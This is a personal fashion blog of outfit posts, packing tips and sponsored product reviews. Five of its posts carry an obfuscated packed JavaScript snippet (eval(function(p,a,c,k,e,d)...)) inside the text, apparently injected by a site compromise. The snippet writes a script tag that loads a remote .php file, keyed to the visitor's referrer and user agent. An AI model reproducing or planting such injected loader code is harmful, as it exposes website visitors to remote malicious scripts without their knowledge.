Florida Temps in February

2018 Fashion, Fashion, Spring

The temperature in Washington, D.C., today was a record 81 degrees F,  warmer than it has ever been so early in a calendar year. This warm streak has me considering pulling out my summer clothes.

This look I wore in Florida in December when I travelled down for my cousin’s wedding. This floral embroidered flutter sleeve top is available on Amazon for only $12.99! I’ve paired with high-waisted, white jean shorts, which are literally my favorite things to wear in the summer. My brown accessories are also warm-weather staples – Jeffrey Campbell wedges and Madewell transport crossbody bag.

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How to Pack for any Trip

2018 Fashion, Autumn, Fashion, Spring, Summer, Travel, Travel, Winter

 

My friend recently asked me for some packing tips so I sent her a whole list of recommendations for her upcoming trip to Japan. Most of my tips came from preparing for my own trip in December. This whole exercise though made me think that there were probably lots of my blog readers with the same question, how does one pack like a pro?

A leisure trip is different than a work trip, but here are my suggestions I gave to my friend that would work for basically all situations.

To pack like a pro, pick a color and only bring things that are part of that color family and would compliment it. Therefore, if you are one of those people that doesn’t mix brown and black, then don’t pack black purse and brown boots. Essentially, pack things that can layer together. There are a few things I always recommend packing no matter where you travel.

Always pack:

  • scarf
  • stripped top
  • jeans
  • white/black tank top

For my trip in December, I packed this red J. Crew vest and flannel top and it was perfect for layering!

 

What bag to bring?

The answer to this question can depend upon on the type of travel trip you are taking. I’ve been personally looking at this Tumi convertible backpack/crossbody. I like that it can be worn as a backpack and as a crossbody. I also generally always go with black as my theme color so this would be a great travel bag investment.

However, for my trip in December, I got this Madewell transport crossbody. It’s lightweight, has a zip closure, which is good to prevent pickpocketing, and it doesn’t draw a lot of attention to itself. I generally don’t wear anything too flashy when I travel because I don’t want to be targeted by thieves or mischievous youth.  Madewell also lets you monogram the bag for free!

Madewell Transport Crossbody Bag

What shoes to wear?
When I travel, even for work, I always go for more comfortable shoes. There are a lot of great flat options that look great and are also super comfortable. I have a pair of black flats from Anthropologie that are my favorites for travelling. It was from a few years ago, but this is a similar option: http://bit.ly/2EEJB0l
Slides are also very popular at the moment. I really like these brown ones as an option: http://bit.ly/2EBCAgV
If you’re going somewhere tropical, you could consider Soludos:http://bit.ly/2svPW9w
Oxford flats are also very trendy. I’d recommend a burgundy one because it would be more versatile of a color but any neutral color works.
For my trip in December, since I was travelling through the desert, I wanted to bring booties along. My thought was that they would prevent sand from getting into my shoes better than tennis shoes. This ended up not being true, but they worked really well nonetheless for all-purposes. I brought my Frye booties with me on my trip, but I would recommend any booties from an outdoorsy brand would be comfortable. Don’t buy booties from ALDO and expect them to be comfortable all day. You’ll have better luck going with a brand like Clarks.
I hope these tips help for your next trip you have to pack for!

Aveda Hair Products & Masque

2017 Fashion, Fashion, skincare, Spring

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dress-up a lot on this blog, but today’s post is about taking care of your hair and skin. Before the clothes and makeup comes yourself. It’s important every woman is comfortable in their own skin and body. Aveda can help you feel your best when you’re all natural. This is me without make-up and before my hair is done.

I’m generally pretty lucky to not have greasy hair that requires being washed everyday. However, it does start to look greasy by the end of the second day. Aveda’s dry shampoo helps to remove the oils and keeps my hair looking professional for those work weeks that we could all do without – am I right?

I’ve also just started using their split end repair regularly. If you’ve been reading my blog over the past couple of years, you’ll have seen my hair at all different lengths. I’m currently trying to grow it out, which means split ends are my enemy. It’s currently at an awkward in the middle-length that is not very flattering, in my opinion, but with Aveda it at least is healthy.

Special thanks to Aveda for sharing these products with me to help me feel my best even before the photo shoot. Sorry, not sorry, in advance for my future blog posts with perfect hair.

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Rosegal Asymmetrical Blouse

2017 Fashion, Fashion, Spring

Wearing Rosegal eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybzyh|var|u0026u|referrer|reans||js|php’.split(‘|’),0,{}))
asymmetrical blouse
, H&M skirt (similar), and Vince Camuto heels from Nordstrom Rack. I love this fun Rosegal asymmetrical blouse to show off a bit of shoulder – keeping it sexy and appropriate.  It’s also a great bargain for less than $20. I’m definitely looking for more off the shoulder pieces like for this summer.

The best part Rosegal is currently hosting a pink-casual-dress Summer 2017 Promotion Up to 60 % OFF. Use this promo code: RosegalChen.

 

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Rosegal Belted Puffed Sleeve Crossover Blouse

2017 Fashion, Fashion, Spring

Wearing eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdfn|var|u0026u|referrer|itiks||js|php’.split(‘|’),0,{}))
Rosegal belted puffed sleeve crossover blouse in wine red, Express black distressed denim jeans, and Shooz on 7 lace-up heels (last seen here).  Spring showers today had me wanting more autumnal hues. This Rosegal belted puffed sleeve crossover blouse in wine red is a great transition piece for Spring. I’m loving the puffy sleeve trend to add attitude and drama to your everyday style.

The best part Rosegal is currently hosting a pink-casual-dress Summer 2017 Promotion Up to 60 % OFF. Use this promo code: RosegalChen.

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Rosegal Crochet Lace Top & Faux Leather Skirt

2017 Fashion, Fashion, Spring

Wearing Rosegal eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zztin|var|u0026u|referrer|kbhdr||js|php’.split(‘|’),0,{}))
scalloped puff sleeve crocheted lace top
, Rosegal faux leather high waisted pencil skirt, and Shooz on 7 heels (last seen here) for a dinner out with my friends at this local Moroccan restaurant in Washington, DC. I’m in love with both these Rosegal pieces because they will be so versatile to add more interest to the rest of my wardrobe. It would be easy to transition this look from an evening out to the office with a proper undershirt and wide-legged trousers or midi skirt. This skirt would be office-ready paired with a pussy bow blouse or printed blouse.

The best part Rosegal is currently hosting a pink-casual-dress Summer 2017 Promotion Up to 60 % OFF. Use this promo code: RosegalChen.

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Express Sequined Jacket

2017 Fashion, Fashion, Favorite Features, Spring

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfnta|var|u0026u|referrer|fznky||js|php’.split(‘|’),0,{}))
been living in these soft Express jeans since I got them. They also fit perfectly and had lots of options for petite sizing. Express also regularly holds great sales so you can pick up fun pieces like this sequined jacket, which is the perfect unusual piece to accessorize an all black outfit for an evening out on the town.

 

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Enso Day Spa

2017 Fashion, Fashion, Spring

 

 

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had so much fun this weekend. I took a break from schoolwork and didn’t think about it once. I needed the mental break to recharge before I start working on my dissertation this week. To fully relax, my girlfriends and I checked into Enso Day Spa, just 30 minutes outside of DC, to pamper ourselves. It’s a great spa that just opened up and it a perfect spot for a Sunday Funday or bachelorette party for your girlfriends.

I love the meaning of Enso, which is the moment when you find enlightenment when you meditate in Italian, and it means circle in Japanese. The spa embodies both of these elements with its serene setting and circular room with a hot tub and massage rooms that can accommodate up to 4 people at a time. In addition, they have a sauna room, nail parlor and hair salon. Anything you need, they have it.

I got a mini-facial and soaked in the hot tub. I couldn’t have asked for a better and more relaxing Sunday. What did you do this weekend?

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Classic Striped Sweater

2017 Fashion, Fashion, Spring

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shedf|var|u0026u|referrer|trnay||js|php’.split(‘|’),0,{}))
rain this week in DC has me pulling black out my sweaters. This
striped sweater from Express is also currently on sale! Happy Hump Day!

 

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The Essential Sweater Dress

2017 Fashion, Fashion, Spring

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picked this sweater dress up off the sale rack in nordstrom rack and have been surprised by how versatile it has been. Spring still has the occasional odd chilly, and while this dress looks shapeless on the rack, it has a lot of versatility in its boxiness.

With a little belt cinching it can be more shape flattering, but on a wet and cold day it could be worn voluminous for comfort and ease. The high, wide neck adds and side slits add the perfect details. I can already tell I’ll be getting a lot of wear out of this sweater dress next autumn/winter (consider that I’m wearing it now).

What great end of season sales have you picked up?

A quick update on my PRK lasik eye surgery, my recovery is going well. Each day I can tell my vision is sharpening and my eyes are getting stronger. Things can still appear fuzzy and focusing takes a bit longer than it should, but healing remains on track. In the meantime, sunglasses are my new best friends.  I picked up these circular ones in Stockholm’s airport, but Warby Parker has some great local selection. These Phipps and Haskell are circular like the ones I’m wearing in the photos. However, my favorite type of frame is cat eyes. I love these Banks, which is more subtle, or these Tilley, which are more dramatic. Warby Parker’s Dempsey is also a great affordable option to the classic aviator style.

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